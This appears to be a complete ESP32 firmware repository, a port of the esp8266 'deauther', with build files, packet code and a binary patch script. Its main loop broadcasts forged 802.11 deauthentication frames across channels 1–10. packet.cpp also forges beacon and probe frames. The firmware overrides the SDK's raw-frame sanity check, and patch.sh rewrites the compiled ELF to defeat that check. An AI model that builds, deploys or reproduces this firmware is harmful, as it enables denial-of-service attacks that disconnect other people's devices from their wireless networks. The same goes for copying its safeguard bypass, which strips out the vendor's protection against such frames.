├── CMakeLists.txt ├── Makefile ├── README.md ├── main ├── CMakeLists.txt ├── component.mk ├── configure_wifi.c ├── configure_wifi.h ├── main.cpp ├── packet.cpp └── packet.hpp ├── patch.sh ├── ret0.bin └── sdkconfig /CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # The following five lines of boilerplate have to be in your project's 2 | # CMakeLists in this exact order for cmake to work correctly 3 | cmake_minimum_required(VERSION 3.5) 4 | 5 | set(CMAKE_CXX_STANDARD 17) 6 | include($ENV{IDF_PATH}/tools/cmake/project.cmake) 7 | project(deauther) 8 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | PROJECT_NAME := deauther 2 | 3 | include $(IDF_PATH)/make/project.mk 4 | 5 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ESP32 Deauther 2 | 3 | (Maybe) Port of https://github.com/spacehuhn/esp8266_deauther to the ESP32, 4 | based on the `esp_wifi_80211_tx` function described in https://github.com/Jeija/esp32-80211-tx 5 | 6 | # Building 7 | 8 | Install [esp-idf](https://github.com/espressif/esp-idf). This project is built and tested with 9 | commit 5ef1b390026270503634ac3ec9f1ec2e364e23b2. 10 | 11 | `make` #Project has custom linker flags, run this instead of `idf.py build` 12 | 13 | Built with v4.1-dev-763-ga45e99853 14 | 15 | # Flashing 16 | 17 | `make flash` 18 | -------------------------------------------------------------------------------- /main/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | idf_component_register( 2 | SRCS 3 | "main.cpp" "packet.cpp" 4 | "configure_wifi.c" 5 | INCLUDE_DIRS 6 | "." 7 | ) 8 | -------------------------------------------------------------------------------- /main/component.mk: -------------------------------------------------------------------------------- 1 | # 2 | # "main" pseudo-component makefile. 3 | # 4 | # (Uses default behaviour of compiling all source files in directory, adding 'include' to include path.) 5 | COMPONENT_ADD_LDFLAGS += -z muldefs -------------------------------------------------------------------------------- /main/configure_wifi.c: -------------------------------------------------------------------------------- 1 | #include "configure_wifi.h" 2 | 3 | esp_err_t esp32_deauther_configure_wifi(uint8_t channel) { 4 | wifi_config_t ap_config = { 5 | .ap = { 6 | .ssid = "https://owo.sh/8AkjqRL", 7 | .ssid_len = 22, 8 | .password = "https://owo.sh/4Ai3g47", 9 | .channel = channel, 10 | .authmode = WIFI_AUTH_WPA2_PSK, 11 | .ssid_hidden = 0, 12 | .max_connection = 4, 13 | .beacon_interval = 60000 14 | } 15 | }; 16 | 17 | return esp_wifi_set_config(WIFI_IF_AP, &ap_config); 18 | } 19 | 20 | -------------------------------------------------------------------------------- /main/configure_wifi.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "esp_wifi.h" 3 | 4 | esp_err_t esp32_deauther_configure_wifi(uint8_t channel); 5 | 6 | -------------------------------------------------------------------------------- /main/main.cpp: -------------------------------------------------------------------------------- 1 | extern "C" { 2 | #include "freertos/FreeRTOS.h" 3 | 4 | #include "esp_system.h" 5 | #include "esp_event.h" 6 | #include "esp_wifi.h" 7 | 8 | #include "nvs_flash.h" 9 | 10 | #include "configure_wifi.h" 11 | } 12 | 13 | #include "packet.hpp" 14 | 15 | PacketSender sender; 16 | 17 | void spam_task(void *pvParameter) { 18 | const MacAddr TARGET = { 19 | 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF 20 | }; 21 | const MacAddr AP = { 22 | //replace with your AP's mac address 23 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 24 | }; 25 | 26 | while(1) { 27 | vTaskDelay(1000 / portTICK_PERIOD_MS); 28 | 29 | for(uint8_t ch = 1; ch < 11; ch++) { 30 | printf("Deauthing channel %d\n", ch); 31 | esp_err_t res; 32 | res = sender.deauth(TARGET, AP, AP, 1, ch); 33 | if(res != ESP_OK) printf(" Error: %s\n", esp_err_to_name(res)); 34 | } 35 | } 36 | } 37 | 38 | extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3) { 39 | return 0; 40 | } 41 | 42 | extern "C" void app_main(void) { 43 | nvs_flash_init(); 44 | tcpip_adapter_init(); 45 | 46 | wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); 47 | 48 | ESP_ERROR_CHECK(esp_event_loop_create_default()); 49 | ESP_ERROR_CHECK(esp_wifi_init(&cfg)); 50 | ESP_ERROR_CHECK(esp_wifi_set_storage(WIFI_STORAGE_RAM)); 51 | 52 | // Init dummy AP to specify a channel and get WiFi hardware into 53 | // a mode where we can send the actual fake beacon frames. 54 | ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_AP)); 55 | 56 | ESP_ERROR_CHECK(esp32_deauther_configure_wifi(/* channel */ 1)); 57 | 58 | ESP_ERROR_CHECK(esp_wifi_set_promiscuous(true)); 59 | ESP_ERROR_CHECK(esp_wifi_start()); 60 | ESP_ERROR_CHECK(esp_wifi_set_ps(WIFI_PS_NONE)); 61 | 62 | xTaskCreate(&spam_task, "spam_task", 2048, NULL, 5, NULL); 63 | } 64 | 65 | -------------------------------------------------------------------------------- /main/packet.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include "packet.hpp" 3 | 4 | extern "C" { 5 | #include "configure_wifi.h" 6 | } 7 | 8 | esp_err_t esp_wifi_80211_tx(wifi_interface_t ifx, const void *buffer, int len, bool en_sys_seq); 9 | 10 | //packets and code based on 11 | //https://github.com/spacehuhn/esp8266_deauther/blob/fda01a64861f3e0e8e9379a8e8ed743cb56038f7/esp8266_deauther/Attack.h 12 | //and 13 | //https://github.com/spacehuhn/esp8266_deauther/blob/fda01a64861f3e0e8e9379a8e8ed743cb56038f7/esp8266_deauther/Attack.cpp 14 | 15 | const uint8_t probePacket[] = { 16 | /* 0 - 1 */ 0x40, 0x00, // Type: Probe Request 17 | /* 2 - 3 */ 0x00, 0x00, // Duration: 0 microseconds 18 | /* 4 - 9 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination: Broadcast 19 | /* 10 - 15 */ 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // Source: random MAC 20 | /* 16 - 21 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // BSS Id: Broadcast 21 | /* 22 - 23 */ 0x00, 0x00, // Sequence number (will be replaced by the SDK) 22 | /* 24 - 25 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32 23 | /* 26 - 57 */ 0x20, 0x20, 0x20, 0x20, // SSID 24 | 0x20, 0x20, 0x20, 0x20, 25 | 0x20, 0x20, 0x20, 0x20, 26 | 0x20, 0x20, 0x20, 0x20, 27 | 0x20, 0x20, 0x20, 0x20, 28 | 0x20, 0x20, 0x20, 0x20, 29 | 0x20, 0x20, 0x20, 0x20, 30 | 0x20, 0x20, 0x20, 0x20, 31 | /* 58 - 59 */ 0x01, 0x08, // Tag Number: Supported Rates (1), Tag length: 8 32 | /* 60 */ 0x82, // 1(B) 33 | /* 61 */ 0x84, // 2(B) 34 | /* 62 */ 0x8b, // 5.5(B) 35 | /* 63 */ 0x96, // 11(B) 36 | /* 64 */ 0x24, // 18 37 | /* 65 */ 0x30, // 24 38 | /* 66 */ 0x48, // 36 39 | /* 67 */ 0x6c // 54 40 | }; 41 | 42 | const uint8_t deauthPacket[] = { 43 | /* 0 - 1 */ 0xC0, 0x00, // type, subtype c0: deauth (a0: disassociate) 44 | /* 2 - 3 */ 0x3A, 0x01, // duration 45 | /* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // reciever (target) 46 | /* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // source (ap) 47 | /* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // BSSID (ap) 48 | /* 22 - 23 */ 0x00, 0x00, // fragment & squence number 49 | /* 24 - 25 */ 0x01, 0x00 // reason code (1 = unspecified reason) 50 | }; 51 | 52 | const uint8_t beaconPacket[109] = { 53 | /* 0 - 3 */ 0x80, 0x00, 0x00, 0x00, // Type/Subtype: managment beacon frame 54 | /* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination: broadcast 55 | /* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source 56 | /* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source 57 | 58 | // Fixed parameters 59 | /* 22 - 23 */ 0x00, 0x00, // Fragment & sequence number (will be done by the SDK) 60 | /* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, // Timestamp 61 | /* 32 - 33 */ 0xff, 0xff, // Interval: 0x64, 0x00 => every 100ms - 0xe8, 0x03 => every 1s 62 | /* 34 - 35 */ 0x31, 0x00, // capabilities Tnformation 63 | 64 | // Tagged parameters 65 | 66 | // SSID parameters 67 | /* 36 - 37 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32 68 | /* 38 - 69 */ 0x20, 0x20, 0x20, 0x20, 69 | 0x20, 0x20, 0x20, 0x20, 70 | 0x20, 0x20, 0x20, 0x20, 71 | 0x20, 0x20, 0x20, 0x20, 72 | 0x20, 0x20, 0x20, 0x20, 73 | 0x20, 0x20, 0x20, 0x20, 74 | 0x20, 0x20, 0x20, 0x20, 75 | 0x20, 0x20, 0x20, 0x20, // SSID 76 | 77 | // Supported Rates 78 | /* 70 - 71 */ 0x01, 0x08, // Tag: Supported Rates, Tag length: 8 79 | /* 72 */ 0x82, // 1(B) 80 | /* 73 */ 0x84, // 2(B) 81 | /* 74 */ 0x8b, // 5.5(B) 82 | /* 75 */ 0x96, // 11(B) 83 | /* 76 */ 0x24, // 18 84 | /* 77 */ 0x30, // 24 85 | /* 78 */ 0x48, // 36 86 | /* 79 */ 0x6c, // 54 87 | 88 | // Current Channel 89 | /* 80 - 81 */ 0x03, 0x01, // Channel set, length 90 | /* 82 */ 0x01, // Current Channel 91 | 92 | // RSN information 93 | /* 83 - 84 */ 0x30, 0x18, 94 | /* 85 - 86 */ 0x01, 0x00, 95 | /* 87 - 90 */ 0x00, 0x0f, 0xac, 0x02, 96 | /* 91 - 92 */ 0x02, 0x00, 97 | /* 93 - 100 */ 0x00, 0x0f, 0xac, 0x04, 0x00, 0x0f, 0xac, 0x04, /*Fix: changed 0x02(TKIP) to 0x04(CCMP) is default. WPA2 with TKIP not supported by many devices*/ 98 | /* 101 - 102 */ 0x01, 0x00, 99 | /* 103 - 106 */ 0x00, 0x0f, 0xac, 0x02, 100 | /* 107 - 108 */ 0x00, 0x00 101 | }; 102 | 103 | esp_err_t PacketSender::deauth(const MacAddr ap, const MacAddr station, 104 | const MacAddr bssid, uint8_t reason, uint8_t channel) { 105 | 106 | esp_err_t res = change_channel(channel); 107 | if(res != ESP_OK) return res; 108 | 109 | memcpy(buffer, deauthPacket, sizeof(deauthPacket)); 110 | 111 | memcpy(&buffer[4], ap, 6); 112 | memcpy(&buffer[10], station, 6); 113 | memcpy(&buffer[16], bssid, 6); 114 | memcpy(&buffer[22], &seqnum, 2); 115 | buffer[24] = reason; 116 | 117 | seqnum++; 118 | 119 | res = raw(buffer, sizeof(deauthPacket)); 120 | if(res == ESP_OK) return ESP_OK; 121 | buffer[0] = 0xa0; 122 | return raw(buffer, sizeof(deauthPacket)); 123 | } 124 | 125 | esp_err_t PacketSender::beacon(const MacAddr mac, const char* ssid, 126 | uint8_t channel, bool wpa2) { 127 | esp_err_t res = change_channel(channel); 128 | if(res != ESP_OK) return res; 129 | 130 | int packetSize = sizeof(beaconPacket); 131 | int ssidLen = strlen(ssid); 132 | memcpy(buffer, beaconPacket, sizeof(beaconPacket)); 133 | memcpy(&buffer[10], mac, 6); 134 | memcpy(&buffer[16], mac, 6); 135 | memcpy(&buffer[22], &seqnum, 2); 136 | memcpy(&buffer[38], ssid, ssidLen); 137 | 138 | if (wpa2) { 139 | buffer[34] = 0x31; 140 | } else { 141 | buffer[34] = 0x21; 142 | packetSize -= 26; 143 | } 144 | buffer[82] = channel; 145 | 146 | buffer[37] = ssidLen; 147 | memcpy(&buffer[38 + ssidLen], &beaconPacket[70], wpa2 ? 39 : 13); 148 | 149 | seqnum++; 150 | return raw(buffer, packetSize); 151 | } 152 | 153 | esp_err_t PacketSender::probe(const MacAddr mac, const char* ssid, 154 | uint8_t channel) { 155 | 156 | esp_err_t res = change_channel(channel); 157 | if(res != ESP_OK) return res; 158 | 159 | memcpy(buffer, probePacket, sizeof(probePacket)); 160 | memcpy(&buffer[10], mac, 6); 161 | memcpy(&buffer[26], ssid, strlen(ssid)); 162 | 163 | return raw(buffer, sizeof(probePacket)); 164 | } 165 | 166 | esp_err_t PacketSender::raw(const uint8_t* packet, int32_t len, bool en_sys_seq) { 167 | return esp_wifi_80211_tx(WIFI_IF_AP, packet, len, en_sys_seq); 168 | } 169 | 170 | esp_err_t PacketSender::change_channel(uint8_t channel) { 171 | return esp32_deauther_configure_wifi(channel); 172 | } 173 | 174 | -------------------------------------------------------------------------------- /main/packet.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "esp_wifi.h" 4 | 5 | typedef uint8_t MacAddr[6]; 6 | 7 | class PacketSender { 8 | public: 9 | esp_err_t deauth(const MacAddr ap, const MacAddr station, 10 | const MacAddr bssid, uint8_t reason, uint8_t channel) noexcept; 11 | esp_err_t beacon(const MacAddr mac, const char* ssid, 12 | uint8_t channel, bool wpa2) noexcept; 13 | esp_err_t probe(const MacAddr mac, const char* ssid, 14 | uint8_t channel) noexcept; 15 | esp_err_t raw(const uint8_t* packet, int32_t len, 16 | bool en_sys_seq = false) noexcept; 17 | private: 18 | esp_err_t change_channel(uint8_t channel) noexcept; 19 | uint16_t seqnum; 20 | uint8_t buffer[200]; 21 | }; 22 | -------------------------------------------------------------------------------- /patch.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | if [ $# -lt 1 ]; then 3 | file=deauther.elf 4 | else 5 | file=$1 6 | fi 7 | 8 | if [ ! -r $file ]; then 9 | echo "ELF file $file doesn't exist or isn't readable" 10 | exit 1 11 | fi 12 | 13 | if [ $# -lt 2 ]; then 14 | patch=ret0.bin 15 | else 16 | patch=$2 17 | fi 18 | 19 | if [ ! -r $patch ]; then 20 | echo "Patch file $patch doesn't exist or isn't readable" 21 | exit 1 22 | fi 23 | 24 | sanity_check_virt=$(readelf -s $file | grep ieee80211_raw_frame | awk '{ print "0x" $2 }') 25 | sanity_check_base=$(readelf -S $file | grep flash.text | awk '{ print "0x"$4 " + 0x" $5 }') 26 | offset=$(python -c "print($sanity_check_virt - $sanity_check_base)") 27 | size=$(stat --printf="%s" $patch) 28 | 29 | dd conv=notrunc if=$patch of=$file bs=1 count=$size seek=$offset 30 | 31 | -------------------------------------------------------------------------------- /ret0.bin: -------------------------------------------------------------------------------- 1 | 6a � -------------------------------------------------------------------------------- /sdkconfig: -------------------------------------------------------------------------------- 1 | # 2 | # Automatically generated file. DO NOT EDIT. 3 | # Espressif IoT Development Framework (ESP-IDF) Project Configuration 4 | # 5 | CONFIG_IDF_TARGET_ESP32=y 6 | CONFIG_IDF_TARGET="esp32" 7 | CONFIG_IDF_FIRMWARE_CHIP_ID=0x0000 8 | 9 | # 10 | # SDK tool configuration 11 | # 12 | CONFIG_SDK_TOOLPREFIX="xtensa-esp32-elf-" 13 | CONFIG_SDK_PYTHON="python" 14 | CONFIG_SDK_MAKE_WARN_UNDEFINED_VARIABLES=y 15 | # end of SDK tool configuration 16 | 17 | # 18 | # Build type 19 | # 20 | CONFIG_APP_BUILD_TYPE_APP_2NDBOOT=y 21 | # CONFIG_APP_BUILD_TYPE_ELF_RAM is not set 22 | CONFIG_APP_BUILD_GENERATE_BINARIES=y 23 | CONFIG_APP_BUILD_BOOTLOADER=y 24 | CONFIG_APP_BUILD_USE_FLASH_SECTIONS=y 25 | # end of Build type 26 | 27 | # 28 | # Application manager 29 | # 30 | CONFIG_APP_COMPILE_TIME_DATE=y 31 | # CONFIG_APP_EXCLUDE_PROJECT_VER_VAR is not set 32 | # CONFIG_APP_EXCLUDE_PROJECT_NAME_VAR is not set 33 | # end of Application manager 34 | 35 | # 36 | # Bootloader config 37 | # 38 | # CONFIG_BOOTLOADER_LOG_LEVEL_NONE is not set 39 | # CONFIG_BOOTLOADER_LOG_LEVEL_ERROR is not set 40 | # CONFIG_BOOTLOADER_LOG_LEVEL_WARN is not set 41 | CONFIG_BOOTLOADER_LOG_LEVEL_INFO=y 42 | # CONFIG_BOOTLOADER_LOG_LEVEL_DEBUG is not set 43 | # CONFIG_BOOTLOADER_LOG_LEVEL_VERBOSE is not set 44 | CONFIG_BOOTLOADER_LOG_LEVEL=3 45 | CONFIG_BOOTLOADER_VDDSDIO_BOOST_1_9V=y 46 | # CONFIG_BOOTLOADER_FACTORY_RESET is not set 47 | # CONFIG_BOOTLOADER_APP_TEST is not set 48 | CONFIG_BOOTLOADER_WDT_ENABLE=y 49 | # CONFIG_BOOTLOADER_WDT_DISABLE_IN_USER_CODE is not set 50 | CONFIG_BOOTLOADER_WDT_TIME_MS=9000 51 | # CONFIG_BOOTLOADER_APP_ROLLBACK_ENABLE is not set 52 | # CONFIG_BOOTLOADER_SKIP_VALIDATE_IN_DEEP_SLEEP is not set 53 | CONFIG_BOOTLOADER_RESERVE_RTC_SIZE=0 54 | # CONFIG_BOOTLOADER_CUSTOM_RESERVE_RTC is not set 55 | # end of Bootloader config 56 | 57 | # 58 | # Security features 59 | # 60 | # CONFIG_SECURE_SIGNED_APPS_NO_SECURE_BOOT is not set 61 | # CONFIG_SECURE_BOOT_ENABLED is not set 62 | # CONFIG_SECURE_FLASH_ENC_ENABLED is not set 63 | # end of Security features 64 | 65 | # 66 | # Serial flasher config 67 | # 68 | CONFIG_ESPTOOLPY_PORT="/dev/ttyUSB0" 69 | CONFIG_ESPTOOLPY_BAUD_115200B=y 70 | # CONFIG_ESPTOOLPY_BAUD_230400B is not set 71 | # CONFIG_ESPTOOLPY_BAUD_921600B is not set 72 | # CONFIG_ESPTOOLPY_BAUD_2MB is not set 73 | # CONFIG_ESPTOOLPY_BAUD_OTHER is not set 74 | CONFIG_ESPTOOLPY_BAUD_OTHER_VAL=115200 75 | CONFIG_ESPTOOLPY_BAUD=115200 76 | CONFIG_ESPTOOLPY_COMPRESSED=y 77 | # CONFIG_ESPTOOLPY_FLASHMODE_QIO is not set 78 | # CONFIG_ESPTOOLPY_FLASHMODE_QOUT is not set 79 | CONFIG_ESPTOOLPY_FLASHMODE_DIO=y 80 | # CONFIG_ESPTOOLPY_FLASHMODE_DOUT is not set 81 | CONFIG_ESPTOOLPY_FLASHMODE="dio" 82 | CONFIG_ESPTOOLPY_FLASHFREQ_80M=y 83 | # CONFIG_ESPTOOLPY_FLASHFREQ_40M is not set 84 | # CONFIG_ESPTOOLPY_FLASHFREQ_26M is not set 85 | # CONFIG_ESPTOOLPY_FLASHFREQ_20M is not set 86 | CONFIG_ESPTOOLPY_FLASHFREQ="80m" 87 | # CONFIG_ESPTOOLPY_FLASHSIZE_1MB is not set 88 | CONFIG_ESPTOOLPY_FLASHSIZE_2MB=y 89 | # CONFIG_ESPTOOLPY_FLASHSIZE_4MB is not set 90 | # CONFIG_ESPTOOLPY_FLASHSIZE_8MB is not set 91 | # CONFIG_ESPTOOLPY_FLASHSIZE_16MB is not set 92 | CONFIG_ESPTOOLPY_FLASHSIZE="2MB" 93 | CONFIG_ESPTOOLPY_FLASHSIZE_DETECT=y 94 | CONFIG_ESPTOOLPY_BEFORE_RESET=y 95 | # CONFIG_ESPTOOLPY_BEFORE_NORESET is not set 96 | CONFIG_ESPTOOLPY_BEFORE="default_reset" 97 | CONFIG_ESPTOOLPY_AFTER_RESET=y 98 | # CONFIG_ESPTOOLPY_AFTER_NORESET is not set 99 | CONFIG_ESPTOOLPY_AFTER="hard_reset" 100 | # CONFIG_ESPTOOLPY_MONITOR_BAUD_9600B is not set 101 | # CONFIG_ESPTOOLPY_MONITOR_BAUD_57600B is not set 102 | CONFIG_ESPTOOLPY_MONITOR_BAUD_115200B=y 103 | # CONFIG_ESPTOOLPY_MONITOR_BAUD_230400B is not set 104 | # CONFIG_ESPTOOLPY_MONITOR_BAUD_921600B is not set 105 | # CONFIG_ESPTOOLPY_MONITOR_BAUD_2MB is not set 106 | # CONFIG_ESPTOOLPY_MONITOR_BAUD_OTHER is not set 107 | CONFIG_ESPTOOLPY_MONITOR_BAUD_OTHER_VAL=115200 108 | CONFIG_ESPTOOLPY_MONITOR_BAUD=115200 109 | # end of Serial flasher config 110 | 111 | # 112 | # Partition Table 113 | # 114 | CONFIG_PARTITION_TABLE_SINGLE_APP=y 115 | # CONFIG_PARTITION_TABLE_TWO_OTA is not set 116 | # CONFIG_PARTITION_TABLE_CUSTOM is not set 117 | CONFIG_PARTITION_TABLE_CUSTOM_FILENAME="partitions.csv" 118 | CONFIG_PARTITION_TABLE_FILENAME="partitions_singleapp.csv" 119 | CONFIG_PARTITION_TABLE_OFFSET=0x8000 120 | CONFIG_PARTITION_TABLE_MD5=y 121 | # end of Partition Table 122 | 123 | # 124 | # Compiler options 125 | # 126 | CONFIG_COMPILER_OPTIMIZATION_DEFAULT=y 127 | # CONFIG_COMPILER_OPTIMIZATION_SIZE is not set 128 | # CONFIG_COMPILER_OPTIMIZATION_PERF is not set 129 | # CONFIG_COMPILER_OPTIMIZATION_NONE is not set 130 | CONFIG_COMPILER_OPTIMIZATION_ASSERTIONS_ENABLE=y 131 | # CONFIG_COMPILER_OPTIMIZATION_ASSERTIONS_SILENT is not set 132 | # CONFIG_COMPILER_OPTIMIZATION_ASSERTIONS_DISABLE is not set 133 | # CONFIG_COMPILER_CXX_EXCEPTIONS is not set 134 | # CONFIG_COMPILER_CXX_RTTI is not set 135 | CONFIG_COMPILER_STACK_CHECK_MODE_NONE=y 136 | # CONFIG_COMPILER_STACK_CHECK_MODE_NORM is not set 137 | # CONFIG_COMPILER_STACK_CHECK_MODE_STRONG is not set 138 | # CONFIG_COMPILER_STACK_CHECK_MODE_ALL is not set 139 | # CONFIG_COMPILER_WARN_WRITE_STRINGS is not set 140 | # CONFIG_COMPILER_DISABLE_GCC8_WARNINGS is not set 141 | # end of Compiler options 142 | 143 | # 144 | # Component config 145 | # 146 | 147 | # 148 | # Application Level Tracing 149 | # 150 | # CONFIG_ESP32_APPTRACE_DEST_TRAX is not set 151 | CONFIG_ESP32_APPTRACE_DEST_NONE=y 152 | CONFIG_ESP32_APPTRACE_LOCK_ENABLE=y 153 | # end of Application Level Tracing 154 | 155 | # 156 | # Bluetooth 157 | # 158 | # CONFIG_BT_ENABLED is not set 159 | CONFIG_BTDM_CTRL_BR_EDR_SCO_DATA_PATH_EFF=0 160 | CONFIG_BTDM_CTRL_BLE_MAX_CONN_EFF=0 161 | CONFIG_BTDM_CTRL_BR_EDR_MAX_ACL_CONN_EFF=0 162 | CONFIG_BTDM_CTRL_BR_EDR_MAX_SYNC_CONN_EFF=0 163 | CONFIG_BTDM_CTRL_PINNED_TO_CORE=0 164 | CONFIG_BTDM_BLE_SLEEP_CLOCK_ACCURACY_INDEX_EFF=1 165 | CONFIG_BT_RESERVE_DRAM=0 166 | # end of Bluetooth 167 | 168 | # CONFIG_BLE_MESH is not set 169 | 170 | # 171 | # CoAP Configuration 172 | # 173 | CONFIG_COAP_MBEDTLS_PSK=y 174 | # CONFIG_COAP_MBEDTLS_PKI is not set 175 | # CONFIG_COAP_MBEDTLS_DEBUG is not set 176 | CONFIG_COAP_LOG_DEFAULT_LEVEL=0 177 | # end of CoAP Configuration 178 | 179 | # 180 | # Driver configurations 181 | # 182 | 183 | # 184 | # ADC configuration 185 | # 186 | # CONFIG_ADC_FORCE_XPD_FSM is not set 187 | CONFIG_ADC_DISABLE_DAC=y 188 | # end of ADC configuration 189 | 190 | # 191 | # SPI configuration 192 | # 193 | # CONFIG_SPI_MASTER_IN_IRAM is not set 194 | CONFIG_SPI_MASTER_ISR_IN_IRAM=y 195 | # CONFIG_SPI_SLAVE_IN_IRAM is not set 196 | CONFIG_SPI_SLAVE_ISR_IN_IRAM=y 197 | # end of SPI configuration 198 | 199 | # 200 | # UART configuration 201 | # 202 | # CONFIG_UART_ISR_IN_IRAM is not set 203 | # end of UART configuration 204 | # end of Driver configurations 205 | 206 | # 207 | # eFuse Bit Manager 208 | # 209 | # CONFIG_EFUSE_CUSTOM_TABLE is not set 210 | # CONFIG_EFUSE_VIRTUAL is not set 211 | # CONFIG_EFUSE_CODE_SCHEME_COMPAT_NONE is not set 212 | CONFIG_EFUSE_CODE_SCHEME_COMPAT_3_4=y 213 | # CONFIG_EFUSE_CODE_SCHEME_COMPAT_REPEAT is not set 214 | CONFIG_EFUSE_MAX_BLK_LEN=192 215 | # end of eFuse Bit Manager 216 | 217 | # 218 | # ESP-TLS 219 | # 220 | CONFIG_ESP_TLS_USING_MBEDTLS=y 221 | # CONFIG_ESP_TLS_SERVER is not set 222 | # CONFIG_ESP_TLS_PSK_VERIFICATION is not set 223 | # end of ESP-TLS 224 | 225 | # 226 | # ESP32-specific 227 | # 228 | CONFIG_ESP32_REV_MIN_0=y 229 | # CONFIG_ESP32_REV_MIN_1 is not set 230 | # CONFIG_ESP32_REV_MIN_2 is not set 231 | # CONFIG_ESP32_REV_MIN_3 is not set 232 | CONFIG_ESP32_REV_MIN=0 233 | CONFIG_ESP32_DPORT_WORKAROUND=y 234 | # CONFIG_ESP32_DEFAULT_CPU_FREQ_80 is not set 235 | CONFIG_ESP32_DEFAULT_CPU_FREQ_160=y 236 | # CONFIG_ESP32_DEFAULT_CPU_FREQ_240 is not set 237 | CONFIG_ESP32_DEFAULT_CPU_FREQ_MHZ=160 238 | # CONFIG_ESP32_SPIRAM_SUPPORT is not set 239 | # CONFIG_ESP32_TRAX is not set 240 | CONFIG_ESP32_TRACEMEM_RESERVE_DRAM=0x0 241 | # CONFIG_ESP32_UNIVERSAL_MAC_ADDRESSES_TWO is not set 242 | CONFIG_ESP32_UNIVERSAL_MAC_ADDRESSES_FOUR=y 243 | CONFIG_ESP32_UNIVERSAL_MAC_ADDRESSES=4 244 | # CONFIG_ESP32_ULP_COPROC_ENABLED is not set 245 | CONFIG_ESP32_ULP_COPROC_RESERVE_MEM=0 246 | # CONFIG_ESP32_PANIC_PRINT_HALT is not set 247 | CONFIG_ESP32_PANIC_PRINT_REBOOT=y 248 | # CONFIG_ESP32_PANIC_SILENT_REBOOT is not set 249 | # CONFIG_ESP32_PANIC_GDBSTUB is not set 250 | CONFIG_ESP32_DEBUG_OCDAWARE=y 251 | CONFIG_ESP32_DEBUG_STUBS_ENABLE=y 252 | CONFIG_ESP32_BROWNOUT_DET=y 253 | CONFIG_ESP32_BROWNOUT_DET_LVL_SEL_0=y 254 | # CONFIG_ESP32_BROWNOUT_DET_LVL_SEL_1 is not set 255 | # CONFIG_ESP32_BROWNOUT_DET_LVL_SEL_2 is not set 256 | # CONFIG_ESP32_BROWNOUT_DET_LVL_SEL_3 is not set 257 | # CONFIG_ESP32_BROWNOUT_DET_LVL_SEL_4 is not set 258 | # CONFIG_ESP32_BROWNOUT_DET_LVL_SEL_5 is not set 259 | # CONFIG_ESP32_BROWNOUT_DET_LVL_SEL_6 is not set 260 | # CONFIG_ESP32_BROWNOUT_DET_LVL_SEL_7 is not set 261 | CONFIG_ESP32_BROWNOUT_DET_LVL=0 262 | CONFIG_ESP32_REDUCE_PHY_TX_POWER=y 263 | CONFIG_ESP32_TIME_SYSCALL_USE_RTC_FRC1=y 264 | # CONFIG_ESP32_TIME_SYSCALL_USE_RTC is not set 265 | # CONFIG_ESP32_TIME_SYSCALL_USE_FRC1 is not set 266 | # CONFIG_ESP32_TIME_SYSCALL_USE_NONE is not set 267 | CONFIG_ESP32_RTC_CLK_SRC_INT_RC=y 268 | # CONFIG_ESP32_RTC_CLK_SRC_EXT_CRYS is not set 269 | # CONFIG_ESP32_RTC_CLK_SRC_EXT_OSC is not set 270 | # CONFIG_ESP32_RTC_CLK_SRC_INT_8MD256 is not set 271 | CONFIG_ESP32_RTC_CLK_CAL_CYCLES=1024 272 | CONFIG_ESP32_DEEP_SLEEP_WAKEUP_DELAY=2000 273 | CONFIG_ESP32_XTAL_FREQ_40=y 274 | # CONFIG_ESP32_XTAL_FREQ_26 is not set 275 | # CONFIG_ESP32_XTAL_FREQ_AUTO is not set 276 | CONFIG_ESP32_XTAL_FREQ=40 277 | # CONFIG_ESP32_DISABLE_BASIC_ROM_CONSOLE is not set 278 | # CONFIG_ESP32_NO_BLOBS is not set 279 | # CONFIG_ESP32_COMPATIBLE_PRE_V2_1_BOOTLOADERS is not set 280 | # CONFIG_ESP32_USE_FIXED_STATIC_RAM_SIZE is not set 281 | CONFIG_ESP32_DPORT_DIS_INTERRUPT_LVL=5 282 | # end of ESP32-specific 283 | 284 | # 285 | # Power Management 286 | # 287 | # CONFIG_PM_ENABLE is not set 288 | # end of Power Management 289 | 290 | # 291 | # Cache config 292 | # 293 | # end of Cache config 294 | 295 | CONFIG_ESP32S2_TRACEMEM_RESERVE_DRAM=0x0 296 | CONFIG_ESP32S2_ULP_COPROC_RESERVE_MEM=0 297 | CONFIG_ESP32S2_DEBUG_OCDAWARE=y 298 | CONFIG_ESP32S2_BROWNOUT_DET=y 299 | 300 | # 301 | # ADC-Calibration 302 | # 303 | CONFIG_ADC_CAL_EFUSE_TP_ENABLE=y 304 | CONFIG_ADC_CAL_EFUSE_VREF_ENABLE=y 305 | CONFIG_ADC_CAL_LUT_ENABLE=y 306 | # end of ADC-Calibration 307 | 308 | # 309 | # Common ESP-related 310 | # 311 | # CONFIG_ESP_TIMER_PROFILING is not set 312 | 